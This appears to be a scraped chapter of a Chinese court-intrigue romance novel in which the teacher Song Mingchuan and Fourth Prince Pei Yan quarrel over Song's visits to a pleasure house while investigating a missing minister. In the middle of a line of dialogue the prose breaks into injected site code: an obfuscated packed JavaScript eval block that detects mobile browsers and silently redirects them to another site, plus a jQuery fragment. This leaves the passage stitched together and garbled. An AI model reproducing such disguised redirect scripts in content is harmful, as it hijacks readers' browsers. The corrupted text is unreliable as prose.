想知道裴晏在藏着什么,最好的办法是先放出一个钩子。
这个问题叫裴晏犹豫片刻便点了头,很自然地问道,“老师昨日是有查到什么吗?”
“两件事,”宋铭川开口,“一、刘尚书也曾来过风月楼,二、三皇子的母族宁家在刘尚书失踪后就宣布了一桩婚事,家中嫡子要与苍州林家结亲,过几日就要下聘。”
“说苍州林家你或许不清楚,但林家有人在东南军,你也见过的。”宋铭川道。
“林副将。”裴晏神情微动,“冬猎时我帮过的那个?”
“对。”宋铭川点头,“风月楼人多眼杂,为了不打草惊蛇,我没有主动询问,只略听到一些。苍州林家也是江南豪族,与东南军往来密切,这事办的仓促,从定婚期到下聘时间很短,我怀疑有些问题。”
裴晏:“过几日就要下聘的话,岂不是宁家就要出陵州?”
宋铭川:“宁家真正掌事的宁老不会去,但家主是会去的,因为是族中嫡子结亲,据说聘礼十分丰厚。”
朝廷命官失踪蹊跷,三皇子本家却不但不收敛,反倒大张旗鼓地要操办婚事,这本身就不合理,还恰好赶在他们刚到陵州万事不熟的份上。
“看来得想个法子去观一观礼。”裴晏道。
“唔,不错。”宋铭川懒洋洋往后靠了靠,“我倒是可以去顺路一观,但只怕看不出什么名堂,殿下若是有法子,可以去瞧一瞧详细,还有什么想知道的?”
“我……”裴晏一顿,面无异色轻笑起来,“我能有什么想知道的,老师已然都做得很好。”
——鱼儿没咬钩,果然年纪渐长。
宋铭川也没指望一句话能钓出什么来,就着倚靠在椅子上的姿势瞥他一眼,“那我先走了?今日天气不错,王总督只怕还安排了新鲜玩意呢。”
他的新鲜玩意儿,自然还是那些风月场才有的东西。
裴晏原本的笑容停了停。
宋铭川起身要走,转头就听到后面一声。
“老师!”
这一声有些急促,裴晏直接站了起来,差点打翻旁边的碗,那只碗摇摇晃晃,但谁也没有管它。
“什么事?”宋铭川回头看他。
那双湖蓝色的眼睛好像荡漾起涟漪,很淡,不过是蜻蜓点水一下,随着碗自己平衡住停在桌面又恢复到平静。
裴晏就用这样的目光看着他,说着截然相反的话。
“老师要早一点回来,好不好?”
——这样的语句其实不像撒娇了,宋铭川所熟悉的、这小子藏在骨子里的强势又隐隐约约冒出头。
宋铭川正面迎上他的目光,不躲不闪,笑了声,“那可不好说,我是过来游玩的,自然要玩够本才行。”
反正都被发现逛青楼了,破罐子破摔也就这样了。
“哦对了殿下,”宋铭川走到门口,转头看着还在撑着里子的人,挑了挑眉,重新撒下鱼饵,“过几日王总督只怕要来探听我的风声,殿下记得表现得好些。”
他说完打量了一眼裴晏。
——好了,完全不用“表演”了,裴晏看上去已经要掀早餐桌了。
宋铭川“啪”地无情关了门。
风月楼别的不多,世家里的纨绔最多,宋铭川在风月楼泡了三天,认识了一大帮纨绔子弟,这群人成天招鸡斗狗,听说“京城有官差”来不但不避,反而非得过来瞧瞧,宋铭川生得好极了,往风月楼一站,也不知道是谁占谁的便宜。
江南好男风的竟然甚广,一群纨绔子弟虽然没胆子招惹宋铭川,但眼睛不眨跟在旁边献殷勤一个没落下,问什么答什么,抖搂家里长短比裴晏这边审人还快,风月楼热闹得活像集市。
——这边是艳阳高照,另外一边则是战战兢兢。
裴晏这几日可以说是面色急转直下,初来江南时的春风拂面已然消失,面无表情地审完张巡抚,片刻未停,又叫来了与张巡抚曾共事的同僚。
四皇子殿下的心情不好是人人可见的,王总督瞅了半天,在一边小心翼翼开口:“殿下您看上去心情不好?”
他话音才落,就看到裴晏表情非常不善地看向他。
那表情好像下一秒就要把王总督拖出去满门抄斩。
“……是,是下官说得哪里不对吗?”王总督被他这双眼睛盯着有点发毛,低下头不敢直视。
“你手下的人,好得很。”裴晏将一本账册重重丢在桌上,不咸不淡地开口,“这几日将老师带到何处了,嗯?”
他语调冷硬,显然是极其不满。
王总督听完心下一咯噔,就知道是怎么回事了。
原来是因着这件事!
他当然知道自家小厮把宋铭川带去哪了,说实在的他就是故意把人往风月楼里带的,风月楼是宁家产业,出不了事,据说那宋大人这几日流连忘返,还交上许多纨绔朋友,日日都是深夜才归。
——这才是他乐意看到的。
但四皇子如今明显是表示不满了,王总督赶忙上眼药,“……殿下冤枉,下官确实派了个小厮跟着宋大人,但可万万不敢引着宋大人去哪种地方啊!”
言下之意是宋铭川自己要去的。
他边说边偷偷抬头,果然如他所料,裴晏面色一沉。
当晚,宋铭川照例待到夜深,才进院中,又瞧见了裴晏。
其实这几日裴晏是日日在等他的,宋铭川每回都会问裴晏还要问什么。
裴晏每回都说:没有。
于是每次宋铭川便说好,再与他擦肩而过关上门。
如今宋铭川也是站在院中,再一次问他。
“殿下还有什么要问的么?”
“以后老师勿要再去这等地方了,”时隔多日裴晏终于开了口,但语调却是不容置喙,面色亦是冷淡,“虽说老师并非皇差,但我等一行并非是来此享乐,还请老师多注意些身份。”
上来就是毫不留情的指责,似乎是忍耐许久后的发作。
“哦?”宋铭川听完挑了挑眉,表情便很不好看,“殿下这是在指责为师么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352155|167114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
此话一出,空气僵持住片刻。
“……不敢。”裴晏沉默下来。
“那就好,臣虽不才,但好歹是殿下老师,还请殿下好生忙差事,莫要总想着指手画脚。”宋铭川打量了一眼裴晏,径直擦肩而过,重重关上了门。
这声关门声似乎是泄愤,裴晏的表情闪过一丝隐忍,旁边客栈的伙计闻声过来,大气也不敢出。
当晚,据说四皇子房内砸了一个杯子。
这些小道消息是瞒不住的,第二日就从客栈与风月楼中流传开,再进入了王总督的耳朵里。
随后是他冷眼旁观着,这师徒二人跟形同陌路似的,他在客栈看见二人连招呼都吝啬打,每次见到彼此都是面无表情而过,偏偏细看下来,宋大人还像是占据上方的那个,四皇子殿下虽面无表情,但却反倒更委曲求全。
别的不说,王总督某日来到客栈时,就看到宋大人早早离开,而四皇子殿下目光却一直投在宋大人身上,直到他来了才掩饰般地收回。
——京城之中传言,四皇子殿下极其重视他老师,看来还真没有说错。
后来就连客栈里的掌柜的都知道他们闹了矛盾,平日里也不敢单独提,甚至还有意地“提点”宋铭川,告诉他裴晏往日何时出行,王总督又是何时会来客栈,叫他避开些。
宋铭川听完以后,就掐着某个裴晏要出门而王总督尚未来到的节点下了楼。
果然在楼梯口碰到了裴晏。
裴晏没看见他,正从房门中出来,面色冷淡,外面的阳光好像照不进分毫,他手指轻轻整理了一下袖口,迈步往前,旁边福来低眉顺眼一句话也不敢说,像个隐形人一样弓着腰跟在裴晏身后。
不仅仅是福来,周围的气氛一整个都是压抑的,洒扫的小厮、平常笑模笑样对着宋铭川的掌柜的都不由自主地恭敬起来,不敢露出一丝神色。
在这样的环境下,裴晏的眼睛里是波澜不惊的,那双澄澈的蓝眼睛此刻像玻璃珠般,剔透,但空茫茫什么都没有。
宋铭川其实一直觉得裴晏很有“活人气”,在他面前撒娇得厉害,闹起别扭来不看他的时候也是鲜活的。
而不是现在这样。
突然,裴晏神情一动,若有所觉地转头看来。
四目相接。
宋铭川清晰地看见,那原本冷淡而空无一物的眸子里清晰地倒映出自己的身影,若冰山消融,万物复苏,那点鲜活的气息好像瞬间被点燃,顺着目光蔓延到了裴晏身上。
裴晏眼中波光盈盈。
只一瞬,宋铭川心猛然一跳,他不可遏制地握紧了自己的手,全身血液鼓噪着往心脏流动。
“四皇子殿下,”王总督的声音从很远处传来,“咱们走吧!”
马车声、人行走的声音、门扉转动声嘈杂远去。
宋铭川过了许久才活动身体,此刻他发觉自己的掌心已经出了汗。
他看着掌心中的汗水,苦笑一声。
——有些问题,答案看来已是昭然若揭。